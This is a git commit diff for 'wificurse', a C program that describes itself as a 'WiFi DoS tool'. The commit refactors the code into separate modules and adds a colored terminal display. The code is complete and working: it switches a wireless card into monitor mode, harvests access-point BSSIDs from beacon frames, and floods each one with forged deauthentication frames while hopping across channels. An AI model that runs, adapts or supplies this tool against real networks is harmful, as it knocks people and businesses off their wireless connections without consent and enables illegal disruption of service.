commit 2ae5fb0b95224b7a93fd6e3f1ca8f76eaab2a53b
parent 9b7d18fa2111607ef1392cee18e4a8a1b12640fb
Author: oblique <psyberbits@gmail.com>
Date: Sat, 3 Mar 2012 05:50:41 +0200
wificurse v0.2; better terminal output
Diffstat:
M | Makefile | | | 2 | +- |
A | console.c | | | 127 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
A | console.h | | | 52 | ++++++++++++++++++++++++++++++++++++++++++++++++++++ |
A | dev.c | | | 26 | ++++++++++++++++++++++++++ |
A | dev.h | | | 38 | ++++++++++++++++++++++++++++++++++++++ |
M | error.c | | | 4 | ++-- |
M | error.h | | | 8 | ++++++-- |
A | iw.c | | | 209 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
A | iw.h | | | 52 | ++++++++++++++++++++++++++++++++++++++++++++++++++++ |
M | wificurse.c | | | 249 | +++++++++++-------------------------------------------------------------------- |
M | wificurse.h | | | 42 | ++++-------------------------------------- |
11 files changed, 550 insertions(+), 259 deletions(-)
diff --git a/Makefile b/Makefile
@@ -1,5 +1,5 @@
CC = $(CROSS_COMPILE)gcc
-OBJS = wificurse.o error.o
+OBJS = wificurse.o iw.o dev.o error.o console.o
all: wificurse
diff --git a/console.c b/console.c
@@ -0,0 +1,127 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) 2012 oblique
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include "dev.h"
+#include "error.h"
+#include "console.h"
+
+
+void init_ap_list(struct ap_list *apl) {
+ apl->head = NULL;
+ apl->tail = NULL;
+}
+
+void free_ap_list(struct ap_list *apl) {
+ struct access_point *tmp;
+
+ tmp = apl->head;
+ while (apl->head != NULL) {
+ apl->head = apl->head->next;
+ free(tmp);
+ }
+
+ apl->head = apl->tail = NULL;
+}
+
+int add_or_update_ap(struct ap_list *apl, uint8_t *bssid) {
+ struct access_point *ap;
+
+ ap = apl->head;
+ while (ap != NULL) {
+ if (memcmp(ap->bssid, bssid, sizeof(ap->bssid)) == 0)
+ break;
+ ap = ap->next;
+ }
+
+ if (ap == NULL) {
+ ap = malloc(sizeof(*ap));
+ if (ap == NULL)
+ return_error("malloc");
+
+ memset(ap, 0, sizeof(*ap));
+ memcpy(ap->bssid, bssid, sizeof(ap->bssid));
+
+ if (apl->head == NULL)
+ apl->head = apl->tail = ap;
+ else {
+ ap->prev = apl->tail;
+ apl->tail->next = ap;
+ apl->tail = ap;
+ }
+ }
+
+ ap->last_beacon_tm = time(NULL);
+ ap->dosing = 1;
+ ap->num_of_deauth++;
+
+ return 0;
+}
+
+void unlink_ap(struct ap_list *apl, struct access_point *ap) {
+ if (ap->prev)
+ ap->prev->next = ap->next;
+ else
+ apl->head = ap->next;
+ if (ap->next)
+ ap->next->prev = ap->prev;
+ else
+ apl->tail = ap->prev;
+}
+
+void clear_scr() {
+ printf("\033[2J\033[1;1H");
+ fflush(stdout);
+}
+
+void update_scr(struct ap_list *apl, struct dev *dev) {
+ struct access_point *ap, *tmp;
+
+ /* move cursor at colum 1 row 1 */
+ printf("\033[1;1H");
+ printf("[ Channel: %3d ]\n\n", dev->chan);
+
+ printf("Deauth BSSID Number of Deauth\n\n");
+
+ ap = apl->head;
+ while (ap != NULL) {
+ if (time(NULL) - ap->last_beacon_tm >= 60) {
+ tmp = ap;
+ ap = ap->next;
+ unlink_ap(apl, tmp);
+ free(tmp);
+ continue;
+ }
+ if (ap->dosing) {
+ printf(RED_COLOR("*"));
+ ap->dosing = 0;
+ } else
+ printf(" ");
+ printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->bssid[0], ap->bssid[1],
+ ap->bssid[2], ap->bssid[3], ap->bssid[4], ap->bssid[5]);
+ printf(" %d\n", ap->num_of_deauth);
+ ap = ap->next;
+ }
+
+ /* from cursor to end of display */
+ printf("\033[J");
+ fflush(stdout);
+}
diff --git a/console.h b/console.h
@@ -0,0 +1,52 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) 2012 oblique
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#ifndef CONSOLE_H
+#define CONSOLE_H
+
+#include <stdint.h>
+#include <time.h>
+#include <sys/socket.h>
+#include <linux/wireless.h>
+#include "dev.h"
+
+
+struct access_point {
+ int dosing;
+ unsigned int num_of_deauth;
+ time_t last_beacon_tm;
+ uint8_t bssid[IFHWADDRLEN];
+ struct access_point *next;
+ struct access_point *prev;
+};
+
+struct ap_list {
+ struct access_point *head;
+ struct access_point *tail;
+};
+
+
+void init_ap_list(struct ap_list *apl);
+int add_or_update_ap(struct ap_list *apl, uint8_t *bssid);
+void unlink_ap(struct ap_list *apl, struct access_point *ap);
+void clear_scr();
+void update_scr(struct ap_list *apl, struct dev *dev);
+
+#define RED_COLOR(str) "\033[1;31m" str "\033[0m"
+
+#endif
diff --git a/dev.c b/dev.c
@@ -0,0 +1,26 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) 2012 oblique
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <string.h>
+#include "dev.h"
+
+
+void init_dev(struct dev *dev) {
+ memset(dev, 0, sizeof(*dev));
+ dev->fd = -1;
+}
diff --git a/dev.h b/dev.h
@@ -0,0 +1,38 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) 2012 oblique
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#ifndef DEV_H
+#define DEV_H
+
+#include <sys/socket.h>
+#include <linux/wireless.h>
+
+
+struct dev {
+ char ifname[IFNAMSIZ+1];
+ int ifindex;
+ int fd;
+ int chan;
+ struct ifreq old_flags;
+ struct iwreq old_mode;
+};
+
+
+void init_dev(struct dev *dev);
+
+#endif
diff --git a/error.c b/error.c
@@ -1,6 +1,6 @@
/*
wificurse - WiFi DoS tool
- Copyright (C) <2012> <oblique>
+ Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -17,11 +17,11 @@
*/
#include <stdio.h>
-#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include "error.h"
+
struct _error {
int errnum;
int line;
diff --git a/error.h b/error.h
@@ -1,6 +1,6 @@
/*
wificurse - WiFi DoS tool
- Copyright (C) <2012> <oblique>
+ Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -22,11 +22,14 @@
#include <errno.h>
+#define GOTERR -1
+#define ERRNODATA -2
+#define ERRAGAIN -3
+
void set_error(char *file, int line, int errnum, char *fmt, ...);
void print_error();
void _err_msg(char *file, int line, int errnum, char *fmt, ...);
-#define GOTERR -1
#define return_error(fmt, ...) \
do { \
@@ -37,4 +40,5 @@ do { \
#define err_msg(fmt, ...) \
_err_msg(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__);
+
#endif
diff --git a/iw.c b/iw.c
@@ -0,0 +1,209 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) 2012 oblique
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <net/ethernet.h>
+#include <netpacket/packet.h>
+#include <linux/wireless.h>
+#include "error.h"
+#include "iw.h"
+
+
+/* man 7 netdevice
+ * man 7 packet
+ */
+int iw_open(struct dev *dev) {
+ struct ifreq ifr;
+ struct iwreq iwr;
+ struct sockaddr_ll sll;
+ struct packet_mreq mreq;
+ int fd;
+
+ fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+ if (fd < 0)
+ return_error("socket");
+ dev->fd = fd;
+
+ /* save current interface flags */
+ memset(&dev->old_flags, 0, sizeof(dev->old_flags));
+ strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1);
+ if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0)
+ return_error("ioctl(SIOCGIFFLAGS)");
+
+ /* save current interface mode */
+ memset(&dev->old_mode, 0, sizeof(dev->old_mode));
+ strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1);
+ if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0)
+ return_error("ioctl(SIOCGIWMODE)");
+
+ /* set interface down (ifr_flags = 0) */
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
+ if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+ return_error("ioctl(SIOCSIFFLAGS)");
+
+ /* set monitor mode */
+ memset(&iwr, 0, sizeof(iwr));
+ strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
+ iwr.u.mode = IW_MODE_MONITOR;
+ if (ioctl(fd, SIOCSIWMODE, &iwr) < 0)
+ return_error("ioctl(SIOCSIWMODE)");
+
+ /* set interface up, broadcast and running */
+ ifr.ifr_flags = IFF_UP | IFF_BROADCAST | IFF_RUNNING;
+ if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
+ return_error("ioctl(SIOCSIFFLAGS)");
+
+ /* get interface index */
+ if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
+ return_error("ioctl(SIOCGIFINDEX)");
+ dev->ifindex = ifr.ifr_ifindex;
+
+ /* bind interface to socket */
+ memset(&sll, 0, sizeof(sll));
+ sll.sll_family = AF_PACKET;
+ sll.sll_ifindex = dev->ifindex;
+ sll.sll_protocol = htons(ETH_P_ALL);
+ if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0)
+ return_error("bind(%s)", dev->ifname);
+
+ /* enable promiscuous mode */
+ memset(&mreq, 0, sizeof(mreq));
+ mreq.mr_ifindex = dev->ifindex;
+ mreq.mr_type = PACKET_MR_PROMISC;
+ if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
+ return_error("setsockopt(PACKET_MR_PROMISC)");
+
+ return 0;
+}
+
+void iw_close(struct dev *dev) {
+ struct ifreq ifr;
+
+ if (dev->fd == -1)
+ return;
+
+ /* set interface down (ifr_flags = 0) */
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
+ ioctl(dev->fd, SIOCSIFFLAGS, &ifr);
+ /* restore old mode */
+ ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode);
+ /* restore old flags */
+ ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags);
+ close(dev->fd);
+}
+
+ssize_t iw_write(int fd, void *buf, size_t count) {
+ unsigned char *pbuf, *pkt;
+ struct radiotap_hdr *rt_hdr;
+ struct write_radiotap_data *w_rt_data;
+ ssize_t r;
+
+ pbuf = malloc(sizeof(*rt_hdr) + sizeof(*w_rt_data) + count);
+ if (pbuf == NULL)
+ return_error("malloc");
+
+ rt_hdr = (struct radiotap_hdr*)pbuf;
+ w_rt_data = (struct write_radiotap_data*)(pbuf + sizeof(*rt_hdr));
+ pkt = pbuf + sizeof(*rt_hdr) + sizeof(*w_rt_data);
+
+ /* radiotap header */
+ memset(rt_hdr, 0, sizeof(*rt_hdr));
+ rt_hdr->len = sizeof(*rt_hdr) + sizeof(*w_rt_data);
+ rt_hdr->present = RADIOTAP_F_PRESENT_RATE | RADIOTAP_F_PRESENT_TX_FLAGS;
+ /* radiotap fields */
+ memset(w_rt_data, 0, sizeof(*w_rt_data));
+ w_rt_data->rate = 2; /* 1 Mb/s */
+ w_rt_data->tx_flags = RADIOTAP_F_TX_FLAGS_NOACK | RADIOTAP_F_TX_FLAGS_NOSEQ;
+ /* packet */
+ memcpy(pkt, buf, count);
+
+ r = send(fd, pbuf, rt_hdr->len + count, 0);
+ if (r < 0) {
+ free(pbuf);
+ return_error("send");
+ }
+
+ r -= rt_hdr->len;
+ free(pbuf);
+
+ return r > 0 ? r : ERRAGAIN;
+}
+
+ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
+ struct radiotap_hdr *rt_hdr;
+ int r;
+
+ /* read packet */
+ r = recv(fd, buf, count, 0);
+ if (r < 0)
+ return_error("recv");
+
+ rt_hdr = buf;
+ if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r)
+ return ERRNODATA;
+
+ *pkt = buf + rt_hdr->len;
+ *pkt_sz = r - rt_hdr->len;
+
+ return r;
+}
+
+int iw_can_change_channel(struct dev *dev) {
+ struct iwreq iwr;
+ ssize_t ret;
+
+ /* set channel */
+ memset(&iwr, 0, sizeof(iwr));
+ strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
+ iwr.u.freq.flags = IW_FREQ_FIXED;
+ iwr.u.freq.m = 1;
+
+ if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
+ return 0;
+ if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0)
+ return 0;
+
+ /* channel 1 frequency is 2412 */
+ return iwr.u.freq.m == 2412;
+}
+
+int iw_set_channel(struct dev *dev, int chan) {
+ struct iwreq iwr;
+ ssize_t ret;
+
+ /* discard packets that are in kernel packet queue */
+ ret = 0;
+ while (ret != -1)
+ ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT);
+
+ /* set channel */
+ memset(&iwr, 0, sizeof(iwr));
+ strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
+ iwr.u.freq.flags = IW_FREQ_FIXED;
+ iwr.u.freq.m = chan;
+ if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
+ return_error("ioctl(SIOCSIWFREQ)");
+ dev->chan = chan;
+
+ return 0;
+}
diff --git a/iw.h b/iw.h
@@ -0,0 +1,52 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) 2012 oblique
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#ifndef IW_H
+#define IW_H
+
+#include <stdint.h>
+#include "dev.h"
+
+
+struct radiotap_hdr {
+ uint8_t version;
+ uint8_t pad;
+ uint16_t len;
+ uint32_t present;
+} __attribute__((__packed__));
+
+struct write_radiotap_data {
+ uint8_t rate;
+ uint8_t pad;
+ uint16_t tx_flags;
+} __attribute__((__packed__));
+
+#define RADIOTAP_F_PRESENT_RATE (1<<2)
+#define RADIOTAP_F_PRESENT_TX_FLAGS (1<<15)
+#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008
+#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010
+
+
+int iw_open(struct dev *dev);
+void iw_close(struct dev *dev);
+ssize_t iw_write(int fd, void *buf, size_t count);
+ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz);
+int iw_can_change_channel(struct dev *dev);
+int iw_set_channel(struct dev *dev, int chan);
+
+#endif
diff --git a/wificurse.c b/wificurse.c
@@ -1,6 +1,6 @@
/*
wificurse - WiFi DoS tool
- Copyright (C) <2012> <oblique>
+ Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -20,205 +20,19 @@
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
-#include <errno.h>
#include <poll.h>
#include <signal.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <net/ethernet.h>
-#include <netpacket/packet.h>
-#include <linux/wireless.h>
+#include "dev.h"
+#include "iw.h"
#include "error.h"
+#include "console.h"
#include "wificurse.h"
-void init_dev(struct dev *dev) {
- memset(dev, 0, sizeof(*dev));
- dev->fd = -1;
-}
-
-/* man 7 netdevice
- * man 7 packet
- */
-int iw_open(struct dev *dev) {
- struct ifreq ifr;
- struct iwreq iwr;
- struct sockaddr_ll sll;
- struct packet_mreq mreq;
- int fd;
-
- fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
- if (fd < 0)
- return_error("socket");
- dev->fd = fd;
-
- /* save current interface flags */
- memset(&dev->old_flags, 0, sizeof(dev->old_flags));
- strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1);
- if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0)
- return_error("ioctl(SIOCGIFFLAGS)");
-
- /* save current interface mode */
- memset(&dev->old_mode, 0, sizeof(dev->old_mode));
- strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1);
- if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0)
- return_error("ioctl(SIOCGIWMODE)");
-
- /* set interface down (ifr_flags = 0) */
- memset(&ifr, 0, sizeof(ifr));
- strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
- if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
- return_error("ioctl(SIOCSIFFLAGS)");
-
- /* set monitor mode */
- memset(&iwr, 0, sizeof(iwr));
- strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
- iwr.u.mode = IW_MODE_MONITOR;
- if (ioctl(fd, SIOCSIWMODE, &iwr) < 0)
- return_error("ioctl(SIOCSIWMODE)");
-
- /* set interface up, broadcast and running */
- ifr.ifr_flags = IFF_UP | IFF_BROADCAST | IFF_RUNNING;
- if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
- return_error("ioctl(SIOCSIFFLAGS)");
-
- /* get interface index */
- if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
- return_error("ioctl(SIOCGIFINDEX)");
- dev->ifindex = ifr.ifr_ifindex;
-
- /* bind interface to socket */
- memset(&sll, 0, sizeof(sll));
- sll.sll_family = AF_PACKET;
- sll.sll_ifindex = dev->ifindex;
- sll.sll_protocol = htons(ETH_P_ALL);
- if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0)
- return_error("bind(%s)", dev->ifname);
-
- /* enable promiscuous mode */
- memset(&mreq, 0, sizeof(mreq));
- mreq.mr_ifindex = dev->ifindex;
- mreq.mr_type = PACKET_MR_PROMISC;
- if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
- return_error("setsockopt(PACKET_MR_PROMISC)");
-
- return 0;
-}
-
-void iw_close(struct dev *dev) {
- struct ifreq ifr;
-
- if (dev->fd == -1)
- return;
-
- /* set interface down (ifr_flags = 0) */
- memset(&ifr, 0, sizeof(ifr));
- strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
- ioctl(dev->fd, SIOCSIFFLAGS, &ifr);
- /* restore old mode */
- ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode);
- /* restore old flags */
- ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags);
- close(dev->fd);
-}
-
-ssize_t iw_write(int fd, void *buf, size_t count) {
- unsigned char *pbuf, *pkt;
- struct radiotap_hdr *rt_hdr;
- struct write_radiotap_data *w_rt_data;
- ssize_t r;
-
- pbuf = malloc(sizeof(*rt_hdr) + sizeof(*w_rt_data) + count);
- if (pbuf == NULL)
- return_error("malloc");
-
- rt_hdr = (struct radiotap_hdr*)pbuf;
- w_rt_data = (struct write_radiotap_data*)(pbuf + sizeof(*rt_hdr));
- pkt = pbuf + sizeof(*rt_hdr) + sizeof(*w_rt_data);
-
- /* radiotap header */
- memset(rt_hdr, 0, sizeof(*rt_hdr));
- rt_hdr->len = sizeof(*rt_hdr) + sizeof(*w_rt_data);
- rt_hdr->present = RADIOTAP_F_PRESENT_RATE | RADIOTAP_F_PRESENT_TX_FLAGS;
- /* radiotap fields */
- memset(w_rt_data, 0, sizeof(*w_rt_data));
- w_rt_data->rate = 2; /* 1 Mb/s */
- w_rt_data->tx_flags = RADIOTAP_F_TX_FLAGS_NOACK | RADIOTAP_F_TX_FLAGS_NOSEQ;
- /* packet */
- memcpy(pkt, buf, count);
-
- r = send(fd, pbuf, rt_hdr->len + count, 0);
- if (r < 0) {
- free(pbuf);
- return_error("send");
- }
-
- free(pbuf);
- return r - rt_hdr->len;
-}
-
-ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
- struct radiotap_hdr *rt_hdr;
- int r;
-
- /* read packet */
- r = recv(fd, buf, count, 0);
- if (r < 0)
- return_error("recv");
-
- rt_hdr = buf;
- if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r)
- return -EAGAIN;
-
- *pkt = buf + rt_hdr->len;
- *pkt_sz = r - rt_hdr->len;
-
- return r;
-}
-
-int iw_can_change_channel(struct dev *dev) {
- struct iwreq iwr;
- ssize_t ret;
-
- /* set channel */
- memset(&iwr, 0, sizeof(iwr));
- strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
- iwr.u.freq.flags = IW_FREQ_FIXED;
- iwr.u.freq.m = 1;
-
- if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
- return 0;
- if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0)
- return 0;
-
- /* channel 1 frequency is 2412 */
- return iwr.u.freq.m == 2412;
-}
-
-int iw_set_channel(struct dev *dev, int chan) {
- struct iwreq iwr;
- ssize_t ret;
-
- /* discard packets that are in kernel packet queue */
- ret = 0;
- while (ret != -1)
- ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT);
-
- /* set channel */
- memset(&iwr, 0, sizeof(iwr));
- strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
- iwr.u.freq.flags = IW_FREQ_FIXED;
- iwr.u.freq.m = chan;
- if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
- return_error("ioctl(SIOCSIWFREQ)");
- dev->chan = chan;
-
- return 0;
-}
-
-int send_deauth(int fd, unsigned char *ap_mac) {
+int send_deauth(int fd, uint8_t *ap_mac) {
struct mgmt_frame *deauth;
uint16_t *reason;
+ ssize_t r;
int i;
deauth = malloc(sizeof(*deauth) + sizeof(*reason));
@@ -238,9 +52,12 @@ int send_deauth(int fd, unsigned char *ap_mac) {
/* flood the network */
for (i=0; i<128; i++) {
deauth->sc.sequence = i;
- if (iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason)) < 0) {
+ do {
+ r = iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason));
+ } while (r == ERRAGAIN);
+ if (r < 0) {
free(deauth);
- return GOTERR;
+ return r;
}
usleep(1000);
}
@@ -257,10 +74,8 @@ int read_bssid(int fd, uint8_t *bssid) {
struct mgmt_frame *beacon;
r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz);
- if (r == -EAGAIN)
- return -EAGAIN;
- else if (r < 0)
- return GOTERR;
+ if (r < 0)
+ return r;
beacon = (struct mgmt_frame*)pkt;
@@ -270,20 +85,13 @@ int read_bssid(int fd, uint8_t *bssid) {
return 0;
}
- return -EAGAIN;
-}
-
-void print_mac(uint8_t *mac) {
- int i;
-
- for (i=0; i<5; i++)
- printf("%02x:", mac[i]);
- printf("%02x", mac[i]);
+ return ERRNODATA;
}
int main(int argc, char *argv[]) {
struct dev dev;
+ struct ap_list apl;
uint8_t bssid[IFHWADDRLEN];
sigset_t exit_sig;
struct pollfd pfd[2];
@@ -291,7 +99,8 @@ int main(int argc, char *argv[]) {
int chan, ret, sigfd;
if (argc != 2) {
- fprintf(stderr, "usage: wificurse <interface>\n");
+ fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n");
+ fprintf(stderr, " usage: wificurse <interface>\n\n");
return EXIT_FAILURE;
}
@@ -300,6 +109,8 @@ int main(int argc, char *argv[]) {
return EXIT_FAILURE;
}
+ /* init access point list */
+ init_ap_list(&apl);
/* init signals */
sigemptyset(&exit_sig);
@@ -331,8 +142,8 @@ int main(int argc, char *argv[]) {
}
if (!iw_can_change_channel(&dev)) {
- fprintf(stderr, "%s cannot change channels in monitor mode.\n"
- "Maybe you will need to patch your kernel with:\n"
+ fprintf(stderr, "%s can not change channels in monitor mode.\n"
+ "Maybe you need to patch your kernel with:\n"
" patches/cfg80211_monitor_mode_channel_fix.patch\n", dev.ifname);
goto _errout;
}
@@ -348,7 +159,9 @@ int main(int argc, char *argv[]) {
print_error();
goto _errout;
}
- printf("Channel: %d\n", dev.chan);
+
+ clear_scr();
+ update_scr(&apl, &dev);
while (1) {
if (poll(pfd, 2, 0) < 0) {
@@ -361,13 +174,15 @@ int main(int argc, char *argv[]) {
if (pfd[1].revents & POLLIN) {
ret = read_bssid(dev.fd, bssid);
- if (ret < 0 && ret != -EAGAIN) { /* error */
+ if (ret < 0 && ret != ERRNODATA) { /* error */
print_error();
goto _errout;
} else if (ret == 0) { /* got BSSID */
- printf("DoS BSSID ");
- print_mac(bssid);
- printf("\n");
+ if (add_or_update_ap(&apl, bssid) < 0) {
+ print_error();
+ goto _errout;
+ }
+ update_scr(&apl, &dev);
if (send_deauth(dev.fd, bssid) < 0) {
print_error();
goto _errout;
@@ -387,15 +202,17 @@ int main(int argc, char *argv[]) {
print_error();
goto _errout;
}
- printf("Channel: %d\n", dev.chan);
+ update_scr(&apl, &dev);
tm1 = time(NULL);
}
}
printf("\nExiting..\n");
iw_close(&dev);
+ free_ap_list(&apl);
return EXIT_SUCCESS;
_errout:
iw_close(&dev);
+ free_ap_list(&apl);
return EXIT_FAILURE;
}
diff --git a/wificurse.h b/wificurse.h
@@ -1,6 +1,6 @@
/*
wificurse - WiFi DoS tool
- Copyright (C) <2012> <oblique>
+ Copyright (C) 2012 oblique
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -19,39 +19,12 @@
#ifndef WIFICURSE_H
#define WIFICURSE_H
-#include <stdlib.h>
#include <stdint.h>
-#include <sys/socket.h>
#include <linux/if.h>
+#include "dev.h"
-struct dev {
- char ifname[IFNAMSIZ+1];
- int ifindex;
- int fd;
- int chan;
- struct ifreq old_flags;
- struct iwreq old_mode;
-};
-
-
-struct radiotap_hdr {
- uint8_t version;
- uint8_t pad;
- uint16_t len;
- uint32_t present;
-} __attribute__((__packed__));
-
-struct write_radiotap_data {
- uint8_t rate;
- uint8_t pad;
- uint16_t tx_flags;
-} __attribute__((__packed__));
-
-#define RADIOTAP_F_PRESENT_RATE (1<<2)
-#define RADIOTAP_F_PRESENT_TX_FLAGS (1<<15)
-#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008
-#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010
+#define VERSION "0.2"
struct frame_control {
uint8_t protocol_version:2;
@@ -86,14 +59,7 @@ struct mgmt_frame {
} __attribute__((__packed__));
-void init_dev(struct dev *dev);
-int iw_open(struct dev *dev);
-void iw_close(struct dev *dev);
-ssize_t iw_write(int fd, void *buf, size_t count);
-ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz);
-int iw_set_channel(struct dev *dev, int chan);
-int send_deauth(int fd, unsigned char *ap_mac);
+int send_deauth(int fd, uint8_t *ap_mac);
int read_bssid(int fd, uint8_t *bssid);
-void print_mac(uint8_t *mac);
#endif